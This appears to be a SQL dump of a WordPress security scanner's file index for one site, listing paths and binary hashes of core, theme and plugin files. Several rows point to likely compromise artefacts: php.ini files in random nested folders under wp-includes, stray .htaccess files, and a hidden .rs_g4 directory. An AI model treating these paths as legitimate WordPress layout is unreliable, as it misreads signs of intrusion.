('Lb>oOj*6','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/FormatException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/FormatException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EosCg.h#;a`','\rӃEQŹio?,ԜUP>k4','',0,'?'),
('L<#\Z}','wp-includes/js/tinymce/skins/lightgray/img/loader.gif','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/img/loader.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9KM:Tf9',';TO`(6,skZcR+','',0,'?'),
('L#/۰*3\r','wp-admin/includes/class-wp-terms-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-terms-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"d\n \\`cF','Mu@\ZhНs1N6B~ ','',0,'?'),
('L(n9[2C6','wp-includes/js/zxcvbn-async.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/zxcvbn-async.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E\nO\\Yb','\'FP\Z/G\nJ\\B\ZIT','',0,'?'),
('L:/#\"ѯfpڷåY','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-c.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-c.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2pf{ɡ','.PA\Z|(W@]qnAmp','',0,'?'),
('L>\\ދ\'gUU;s(','wp-content/plugins/wordfence/views/scanner/text/issue-wfAssistantPresent.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfAssistantPresent.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zba={}|a\0','\0؍~j{?7\"K9F/~`','',0,'?'),
('LJt%] *O','wp-includes/SimplePie/library/SimplePie/Cache/MySQL.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/MySQL.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p/l1HQZ','/p55Oo4\n\Zg]S\n>v','',0,'?'),
('LJEvDhaOIȞ','wp-includes/Requests/src/Ipv6.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Ipv6.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','njr','jE-/\"/\0U\Z5\\','',0,'?'),
('LR7QToG|{','wp-content/plugins/wordfence/lib/viewFullActivityLog.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/viewFullActivityLog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#\\F\rvC','X74u\rt{MlׄqT}','',0,'?'),
('Lap8gV,g','wp-includes/js/dist/vendor/react-dom.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-dom.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>P2mH݈','\0>h*>8Kh/ҖZSRU[','',0,'?'),
('LsЇś\nc}>K','wp-includes/css/editor.css','/home/trevorkl/trevorklee.com/wp-includes/css/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J \\ÈjK','Ä&V}mNk]@ŕD[','',0,'?'),
('Lw+$4|nsw','wp-content/themes/twentynineteen/template-parts/content/content-none.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-none.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~+zg','@u |-\ZK\Zbk^R4hMΨ','',0,'?'),
('LzZ#<','wp-includes/class-wp-locale-switcher.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-locale-switcher.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',cw8RF\\','dyI&4(6+{ჹ','',0,'?'),
('Lڞ[{.','wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('Lջ˻vMlWd','wp-includes/blocks/pullquote/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N)$tO2','O|1UAg\\\r:Jj/L[E','',0,'?'),
('Let\"pc(	e','wp-includes/wp-db.php','/home/trevorkl/trevorklee.com/wp-includes/wp-db.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qafq@.Ro','t\\K(ɮX\'[&xl','',0,'?'),
('LEgF9','wp-includes/blocks/post-featured-image/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʡM_k\"#*','TFkN9o+*G>N֩ڤ}','',0,'?'),
('Lƾ>%T\\nv\"l','wp-includes/js/dist/script-modules/block-library/query/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/query/view.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i[I,HN','yq?Kbh8B>_O	k75Tŀ','',0,'?'),
('LʾD 9t9','wp-content/plugins/wordfence/views/scanner/text/issue-postBadURL.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-postBadURL.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I\\T^\'%','YliQD};$N!/܍q7[*','',0,'?'),
('LID@AS\"','wp-content/themes/twentytwentyfive/patterns/hero-book.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hero-book.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',PKN͜1/','C^;kχwdTiĵl+كqv','',0,'?'),
('L\"vT̱L','wp-includes/blocks/comments-pagination-next/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-next/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̅azaC?','[Cy9׊`\'#F/J0C','',0,'?'),
('L\r%{','wp-includes/blocks/social-link/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-link/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h&v;c2z','uz98YPuL?q;','',0,'?'),
('L\rȦ:nh\'','wp-content/plugins/akismet/_inc/akismet.css','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\nV)11UB;','\\sڧt٨Յ􆯔WaMtFg','',0,'?'),
('L+qV;hY','wp-includes/fonts/dashicons.woff2','/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MN:\'ʤȹ','J!XLl`eOsH','',0,'?'),
('L>tN','wp-admin/css/colors/blue/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݺCNC:7Xj','6e?dxZzWPR1jt','',0,'?'),
('LI	\n.V:','wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('L)a$D-ӮJ','wp-includes/js/tinymce/plugins/wplink/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wplink/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RpZ:=','bڢ\nS@7/6,ash','',0,'?'),
('L1HD#ǭh`:','wp-content/themes/twentytwentyfive/patterns/banner-intro-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-intro-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vDK]рO2͢','խT\"CLڮQ|Zi','',0,'?'),
('LSLC]̖bM','wp-content/plugins/wordfence/modules/login-security/js/admin-global.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/admin-global.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rJ[8','Vg1\'˂;;\'im{xɵ','',0,'?'),
('MRNE/ҤV','wp-includes/SimplePie/library/SimplePie/Misc.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Misc.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u2m!Jfn(hn','Su[g]@ᝦ&O-O|\"','',0,'?'),
('Mi3RVD]j','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidApplicationCredentialsException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidApplicationCredentialsException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>o	dL$pOj-','{blZ3FHzT`=G	\"','',0,'?'),
('M1/n̖Q','wp-includes/css/dist/components/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B6,+\0','/\0Xec\Z[Xښm<mΆBs#','',0,'?'),
('M?,5*K*f','wp-admin/js/post.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/post.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n]˘N\nA%','ym	ͺ<RX0Jnu_','',0,'?'),
('MW	:ي','wp-admin/images/align-none.png','/home/trevorkl/trevorklee.com/wp-admin/images/align-none.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eqd2u\r','g(1X{ [].TA','',0,'?'),
('MYG\\tX/','wp-includes/customize/class-wp-customize-color-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-color-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"Y0g31Ʃl','bWCAh]T˩%Lb&A쭆q캏','',0,'?'),
('MvU%Lҵm','wp-includes/blocks/navigation/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Wcf\"?','jK\\iO.R7>KCDv','',0,'?'),
('M%*M9븞','wp-includes/Requests/src/Exception/Http/Status412.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status412.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܖ[8?^FYT','rrm팰\'JWxʅCR\Ze','',0,'?'),
('MPzQAp\"M+','wp-includes/blocks/read-more/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uֶ.Yګ[','3!xY?2=^&ɫF<No3L','',0,'?'),
('M\0\0.(k-m^','wp-includes/SimplePie/library/SimplePie/Content/Type/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/Type/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('MР\0A9Q+','wp-includes/js/admin-bar.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/admin-bar.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y()1 XE',';9%#AWisAA\0!e4?','',0,'?'),
('M;C8Yyﲏ','wp-includes/js/twemoji.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/twemoji.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NPilMˣ3.','\'.vE?¡#\Z[(c','',0,'?'),
('MwMf0b\\','wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/preformatted/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\01MSn','{Z>1k||}PCTCA','',0,'?'),
('MIMrD-','wp-includes/post-template.php','/home/trevorkl/trevorklee.com/wp-includes/post-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','íXJ=F','Ւl׶5Wm:c髼C','',0,'?'),
('N\'g/.](L','wp-content/themes/twentytwentytwo/inc/patterns/footer-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#r\"\Zj	','@j[KlC+(˔!٠溿','',0,'?'),
('N+N7I\"8','wp-includes/pomo/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/pomo/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('N1ޖRP3A7','wp-includes/SimplePie/src/HTTP/Response.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ed[bT%ġS','-R̙b#ȓXנ~\\cO','',0,'?'),
('N5gxs?j','wp-includes/html-api/knojvbd/lyuifac/csdhol1/error_log','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/error_log',0,'hi|Iw,','hi|Iw,','qFQL>1xSG\ZxbsS','',0,'?'),
('N7A\0nnV֑','wp-content/plugins/wordfence/images/checkbox.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/checkbox.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"G\r6|􈘀\'','y~`w(j~=뤼&ݴQ>`^x','',0,'?'),
('N8/B','wp-includes/blocks/rss/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('N=f>$KHT','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?G{g','ĀР<W;-\Z񀍙(C+,MUW6','',0,'?'),
('NKxr]đ%Ѵr_','wp-includes/blocks/verse/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/verse/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ni~	`WE','wp-content/plugins/wordfence/lib/wfAlerts.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfAlerts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5QǍgIcC7@','Ͻ8S\\v!!r5PE#','',0,'?'),
('NrbRВ5B!wj','wp-includes/blocks/query-total/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z?%yjP','g5y YRe|՞I\'n$RD {é#','',0,'?'),
('N|Jвznsw','wp-includes/pluggable-deprecated.php','/home/trevorkl/trevorklee.com/wp-includes/pluggable-deprecated.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	w\\O\n','+Y	%U_7l:\rp','',0,'?'),
('N3j@pu5^','wp-includes/js/tinymce/skins/wordpress/images/more.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/more.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n\nm\0;˫z','$vo^U A\0:\\Cu','',0,'?'),
('N\0G(5l','wp-content/plugins/loginizer/lib/IPv6/IPv6.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/IPv6/IPv6.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+JadqQZ','#Fnl6z\'6w','',0,'?'),
('N966^','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Io/FileHandle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Io/FileHandle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')jG@-{bk!','рajfV,H?\\tF','',0,'?'),
('N#e\"kw','wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('N釳şȡٰ)','wp-content/plugins/wordfence/modules/login-security/views/page/passkey.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AX7W/ǫ3','\'$i_a0Mہߎ]','',0,'?'),
('NHV}4G','wp-admin/css/customize-widgets-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-widgets-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!3lR/f#','Uc{{ܞͱǒ@m$ٓoDd','',0,'?'),
('NUBya ','wp-includes/blocks/columns/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rr4{6G','yU47\"!\'R@rOk<=NI\n~UX','',0,'?'),
('Na⿙e]','wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/columns/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3de{h|@ձ','BXVAӋ64/Mkf','',0,'?'),
('O	S#Yiv','wp-admin/includes/class-wp-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gnozZV','RmE4eጪ9pǻ\\2c\nL-','',0,'?'),
('OҽPT^4~B','wp-includes/css/dist/editor/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/editor/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P#^d;̓_8','Fiykt\'!*ҪhdxN','',0,'?'),
('O =(:<	1F','wp-includes/class-wp-feed-cache-transient.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-feed-cache-transient.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3N(y2\"gB','gVϭ/\'hI|-a~n','',0,'?'),
('O+[IBmm\'','wp-content/plugins/wordfence/images/wf-central-logo.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-central-logo.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q(VѤ','\0{\rߘJ/ ^+,S','',0,'?'),
('O2ɂH!֒[=','wp-includes/blocks/pattern/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/pattern/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C9','3D?eϞG>ŐZ1x~6{X','',0,'?'),
('O\\F$9H#V6lN','wp-content/themes/twentytwentyfive/patterns/header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0 rHDhyZ',']UN8|кܹt2*p','',0,'?'),
('O_	:-Hv','wp-includes/js/dist/vendor/react-jsx-runtime.min.js.LICENSE.txt','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/react-jsx-runtime.min.js.LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4[[8]Lڱ)7','[&>}8	,a8¿dح>.Rb','',0,'?'),
('Oa_b,+7tg^','wp-content/themes/twentytwentytwo/inc/patterns/header-centered-title-navigation-social.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-centered-title-navigation-social.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a	Wl<T`5',',].\0	T*c\'\'2\0HRj','',0,'?'),
('OlqCcێ','wp-admin/css/forms-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/forms-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q-~wчr','ۅ\n6C3`	o	\0','',0,'?'),
('Otþ|!a]','wp-includes/blocks/code/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/code/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q\ZQ響',' $\r$gI`@+9\rmf','',0,'?'),
('O潼m$݋&_','wp-content/plugins/wordfence/modules/login-security/views/manage/deactivate.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/deactivate.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~Zy','<@UK;x&vCP7%wD','',0,'?'),
('O\\P5{R','wp-admin/plugins.php','/home/trevorkl/trevorklee.com/wp-admin/plugins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s$[f=\ZC','x8Wt\n/]yhtoWU','',0,'?'),
('O&r蓏 ','wp-admin/freedoms.php','/home/trevorkl/trevorklee.com/wp-admin/freedoms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"@J1˜Sf','1ӥJKp@','',0,'?'),
('ORrD?','wp-admin/js/postbox.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/postbox.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qq\0&?;i\Z','&1km(>]S:Y\'','',0,'?'),
('O4	T9','wp-content/.rs_g4/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g4/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('OմJ5Z{\riL','wp-content/plugins/wordfence/views/scanner/text/issue-wpscan_directoryList.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wpscan_directoryList.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[Xm/	w&','@UH[Sٖka2˝V_wO','',0,'?'),
('Oٸ}r`fǑ','wp-includes/css/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Oy k	b','wp-admin/css/customize-nav-menus-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-nav-menus-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.1\nq\"!3ٜ','΍1h|1X\0\n#0,g_','',0,'?'),
('OHI!K!0[','wp-content/plugins/wordfence/lib/menu_scanner_options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_scanner_options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q\'KضcD','j؆\Zp QfĢ#Lf	 d','',0,'?'),
('O*m_)8_3','wp-content/plugins/wordfence/modules/login-security/classes/utility/array.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/array.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','agRfn1','#}l{X>}v?XBmD','',0,'?'),
('OOM_K7n','wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B:W@N','aHlqQH5Vh|7hfKN4','',0,'?'),
('OhuG&\0L','wp-includes/Text/Diff/Engine/native.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/native.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KjJB','5lݲUgoK\\c-F`A{^{','',0,'?'),
('PHZ`=','wp-includes/blocks/pullquote/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','υ V9ϻl','HjxwY\"b&c\\T&1C','',0,'?'),
('Pbw=i','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P2.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(-+SZe_','??\n\0sǙ.8*-(¿','',0,'?'),
('P/:̮҉H','wp-content/plugins/wordfence/waf/pomo/streams.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/streams.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"xx!3W','\r,&ɩ!:xl[','',0,'?'),
('PE۫7r|oI6>','wp-includes/js/backbone.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/backbone.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\\.C8G','9(,\"g)\0:7bMh','',0,'?'),
('P NtD݌n\"','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZRR\'	k\n-b','oAr.aI6G|8¬3g','',0,'?'),
('P\'(?+z$','wp-admin/js/postbox.js','/home/trevorkl/trevorklee.com/wp-admin/js/postbox.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H>j`d\n\"','Ťp=RyYY-Qi','',0,'?'),
('P-k\nFJ7+yP','wp-content/themes/twentytwentythree/templates/index.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/index.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$p:zt@',':;T;Dj\03MdւG','',0,'?'),
('P73o	\0=','wp-admin/js/word-count.js','/home/trevorkl/trevorklee.com/wp-admin/js/word-count.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rffB)','6j,AުǭsDeCz&\n','',0,'?'),
('PJ~]; `y','wp-includes/widgets/class-wp-widget-media-image.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ZD`_=z','	G3MX1]ݤId/+|AG/','',0,'?'),
('PK2I)','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_static.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_static.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yw5(nbm','m!`~:-\n&3@N[9d\r','',0,'?'),
('PLF^9R6zp','wp-includes/blocks/navigation-submenu/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fH2Xm.W','\Z(f)gWNVy!qܹzg%','',0,'?'),
('PZgZJ ','wp-content/themes/twentytwentyfive/patterns/page-portfolio-home.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-portfolio-home.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','05\r	n',')6CmSЄ$&FzuF','',0,'?'),
('Pizta}a','wp-admin/users.php','/home/trevorkl/trevorklee.com/wp-admin/users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','uwɠeTE','ahPe0]o% Eװs76.(','',0,'?'),
('PLwle\'h9','wp-content/plugins/wordfence/modules/login-security/views/email/passkey-added.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/email/passkey-added.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iB.tOe5Ϙ*\0','6Sn*2F nLW6͡\"','',0,'?'),
('PٖI5\0\ZC','wp-includes/blocks/post-comments-form/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Ph~P','wp-includes/blocks/page-list/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@؛^}b','oMp+pxȻy#\rD-9h=','',0,'?'),
('P\neu\"','wp-includes/sodium_compat/lib/php72compat.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/php72compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&F:B\nj|-','\n1mkssAogp','',0,'?'),
('PUY)59','wp-content/plugins/loginizer/assets/images/social/Discord.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Discord.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wJy\n<','/KźNf(JhkՁ1s4鍅5\0N','',0,'?'),
